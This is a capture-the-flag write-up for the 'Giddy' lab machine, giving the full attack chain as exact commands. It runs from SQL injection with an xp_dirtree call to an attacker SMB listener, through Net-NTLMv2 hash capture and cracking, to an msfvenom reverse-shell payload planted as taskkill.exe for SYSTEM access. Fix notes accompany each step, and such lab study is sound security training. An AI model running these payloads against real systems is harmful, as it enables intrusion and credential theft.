Giddy
Summary
I discovered a .NET MVC shopping application on the IIS web server that built SQL queries by concatenating raw user input. Injecting an xp_dirtree call through that flaw caused the MSSQL service — running as the Windows domain user Stacy — to initiate an outbound SMB authentication to my own Responder listener, leaking a Net-NTLMv2 hash. The hash cracked offline, and the recovered credential authenticated a WinRM session that yielded the user flag.
Post-exploitation enumeration revealed the Ubiquiti UniFi Video service running as LocalSystem; on service stop it executes taskkill.exe from C:\ProgramData\unifi-video\ — a directory writable by any standard user. Placing a malicious payload there and stopping the service produced a SYSTEM reverse shell and full machine compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -sC -sV -p 80,443,3389,5985 $TARGET -oN giddy_nmap.txtgobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,aspx -o giddy_dirs.txtExact commands 2
curl -sk "http://$TARGET/mvc/Product.aspx?ProductSubCategoryId=1%27"curl -sk "http://$TARGET/mvc/Product.aspx?ProductSubCategoryId=1;SELECT+@@version--"FixEliminate SQL injection by parameterizing all database queriesCritical
Exact commands 2
sudo responder -I tun0 -wvcurl -sk "http://$TARGET/mvc/Product.aspx?ProductSubCategoryId=1;EXEC+xp_dirtree+'\\\\$ATTACKER_IP\\share',1,1--"FixDisable xp_dirtree, run SQL Server under a managed service account, and block outbound SMBHigh
Exact commands 1
hashcat -m 5600 stacy_hash.txt /usr/share/wordlists/rockyou.txt --forceExact commands 2
evil-winrm -i $TARGET -u Stacy -p '<stacy_password>'type C:\Users\Stacy\Desktop\user.txtExact commands 3
Get-Service | Where-Object {$_.DisplayName -like '*Ubiquiti*'}icacls 'C:\ProgramData\unifi-video'ls 'C:\ProgramData\unifi-video\'FixUpdate or remove Ubiquiti UniFi Video and lock the service program-data directory to administrators onlyCritical
Exact commands 5
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f exe -o taskkill.exeupload taskkill.exe 'C:\ProgramData\unifi-video\taskkill.exe'nc -lvnp 4444Stop-Service -Name 'Ubiquiti UniFi Video'type C:\Users\Administrator\Desktop\root.txtExposed services
| 80/tcp | http |
| 443/tcp | https |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 5985/tcp | wsman |